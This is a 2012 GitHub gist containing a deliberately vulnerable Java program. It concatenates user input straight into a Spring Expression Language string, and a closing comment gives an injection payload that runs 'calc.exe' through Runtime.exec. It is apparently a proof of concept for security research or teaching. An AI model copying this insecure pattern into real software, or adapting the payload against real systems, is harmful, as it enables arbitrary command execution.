Skip to content

Instantly share code, notes, and snippets.

@brandonprry
Created September 12, 2012 23:18
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
Star You must be signed in to star a gist
Save brandonprry/3710710 to your computer and use it in GitHub Desktop.
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.util.Assert;
import org.apache.commons.logging.LogFactory;
import java.io.*;
import java.util.Date;
public class main {
/**
* @param args
* @throws Exception
*/
public static void main(String[] args) throws Exception {
// TODO Auto-generated method stub
ExpressionParser parser = new SpelExpressionParser();
System.out.println("Please enter a date and I will parse it:");
java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in));
String line = stdin.readLine();
Expression exp = parser.parseExpression("'" + line + "'");
Date date = exp.getValue(Date.class);
System.out.println("Thanks! The date you entered was:");
System.out.println(date.toString());
}
}
/* 02/15/2012' == T(Runtime).getRuntime().exec('calc.exe').toString() + ' */
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment